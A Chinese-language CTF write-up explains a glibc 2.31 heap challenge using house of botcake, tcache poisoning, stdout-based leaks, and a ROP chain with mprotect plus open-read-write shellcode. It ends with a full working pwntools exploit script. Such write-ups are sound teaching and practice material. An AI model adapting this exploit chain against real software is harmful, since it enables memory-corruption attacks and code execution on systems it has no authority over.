前言 day12每日一Pwn做到了这道题,自己独立分析的时候发现最多泄漏libc,之后就做不下去了,现在看完题解之后写一下学到的内容
题目链接:
https://www.nssctf.cn/problem/2390
题目分析 glibc-2.31
禁用了free_hook malloc_hook
开了沙箱,禁用了了execve
没有edit功能,只能在add的时候edit。正常的delete函数没有uaf,但是存在一个backdoor函数,这个函数也是delete功能,但是存在uaf,但是这个函数只能使用一次;存在show函数,只能使用一次。
先讲一下我一开始的思路,利用largebin attack+house of apple2
但是考虑到一方面没有edit功能,不容易largebin attack,另一方面house of apple2最后是通过system来getshell,但是题目禁用了,于是作罢
house of botcake 可以看到限制非常非常多,这里利用的手法就是 house of botcake
https://forum.butian.net/share/1709
条件:至少有一次uaf
分配七个填充堆块(小于最大的Tcache,大于最大的Fastbin),一个辅助堆块 prev ,一个利用堆块 victim,一个防止与topchunk合并的堆块 注意前九个堆块必须是同一大小
intptr_t *x[7 ];for (int i=0 ; i<sizeof (x)/sizeof (intptr_t *); i++){ x[i] = malloc (0x100 ); } intptr_t *prev = malloc (0x100 );intptr_t *victim = malloc (0x100 );malloc (0x10 );
free掉前七个,此时tcache被填满
for (int i=0 ; i<7 ; i++){ free (x[i]); }
free掉victim
free掉prev,此时由于prev与victim物理相邻,并且在其上面,因此unsortedbin合并,prev和victim合并成1个
申请一个和之前堆块大小相等的堆块,此时就会从tcache中申请(原本tcache是满的),再free掉victim
申请一个与之前堆块大小不同的堆块,此时会切割unsortedbin,这样我们可以通过控制这个堆块来控制victim的prevsize size fd等(如果可以申请任意大小,可以申请比之前堆块大的,如果只能申请小堆块,也可以多申请几次,这样让最后一个堆块落到victim的header上去,这样就可以控制了)
之后我们可以通过控制victim的fd来实现tcache poisoning,之后可以申请回victim继续多次tcache_poisoning
总的来说,house of botcake就是实现了在没有edit函数的情况下,任意地址申请堆块
利用stdout来泄漏信息 假如能任意地址写,我们可以修改stdout的信息来实现在没有show功能下show内容
修改stdout的 _flags 为0xfbad1800
修改 read_base read_ptr read_end 都为0
修改write_base为要泄漏的地址
调用puts或者printf函数即可泄漏该地址处的内容
如果要利用stdout来泄漏libc的话,第3条可以只把_IO_write_base的最后一个字节改小 ,这样泄漏的信息里面就存在libc地址
题目思路 利用house of botcake来实现tcache poisoning,在house of botcake时可以使用uaf+show来泄漏libc地址,之后利用tcache poisoning来实现申请到stdout上,并修改stdout信息以泄漏environ中的栈地址,最后实现rop
rop中可以使用mprotect+read+shellcode的思路
exp from pwncli import *context(log_level='debug' , arch='amd64' , os='linux' ) context.terminal = ["tmux" , "splitw" , "-h" ] uu64 = lambda x: u64(x.ljust(8 , b'\x00' )) s = lambda x: p.send(x) sa = lambda x, y: p.sendafter(x, y) sl = lambda x: p.sendline(x) sla = lambda x, y: p.sendlineafter(x, y) ru = lambda x: p.recvuntil(x) ti = lambda : p.interactive() leak = lambda name,addr :log.success(name+"--->" +hex (addr)) def dbg (): gdb.attach(p,'b* $rebase(0x193f)' ) def pp64 (*args ): payload=b'' for i, arg in enumerate (args): payload+=p64(arg) return payload def cmd (c ): sla("Choice: " ,str (c)) def add (size,content ): cmd(1 ) sla("size: " ,str (size)) sa("content: " ,content) def delete (index ): cmd(2 ) sla("idx: " ,str (index)) def show (index ): cmd(3 ) sla("idx: \n" ,str (index)) def uaf (index ): cmd(666 ) sla("idx: \n" ,str (index)) p=remote('node4.anna.nssctf.cn' ,28854 ) libc=ELF('./libc.so.6' ) for i in range (10 ): add(0x80 ,"a" ) for i in range (7 ): delete(i) uaf(8 ) show(8 ) libc_base=uu64(p.recv(6 ))-0x7375c37f9be0 +0x7375c360d000 environ=libc_base+libc.sym['__environ' ] stdout=libc_base+libc.sym['_IO_2_1_stdout_' ] leak("libc_base" ,libc_base) delete(7 ) add(0x80 ,"a" ) delete(8 ) add(0x60 ,b'a' ) add(0x60 ,p64(0 )*3 +p64(0x91 )+p64(stdout)) add(0x80 ,"a" ) add(0x80 ,p64(0xfbad1800 )+p64(0 )*3 +p64(environ)+p64(environ+8 )+p64(environ+8 )) ru('\n' ) stack_addr=uu64(p.recv(6 ))-0x138 leak("stack_addr" ,stack_addr) pop_rdi=0x23b6a +libc_base pop_rsi=0x2601f +libc_base pop_rdx=0x142c92 +libc_base mprotect=libc.sym['mprotect' ]+libc_base read=libc.sym['read' ]+libc_base delete(0 ) delete(3 ) delete(2 ) add(0x60 ,p64(0 )*3 +p64(0x91 )+p64(stack_addr+0x10 )) add(0x80 ,p64(0 )) addr=libc_base+0x158000 rop=pp64(pop_rdi,addr,pop_rsi,0x1000 ,pop_rdx,7 ,mprotect) rop+=pp64(pop_rdi,0 ,pop_rsi,addr,pop_rdx,0x1000 ,read,addr) add(0x80 ,p64(0 )+rop) shellcode='' shellcode+=shellcraft.open ('/flag' ,0 ,0 ) shellcode+=shellcraft.read('rax' ,addr+0x800 ,0x100 ) shellcode+=shellcraft.write(1 ,addr+0x800 ,'rax' ) shellcode=asm(shellcode) s(shellcode) ti()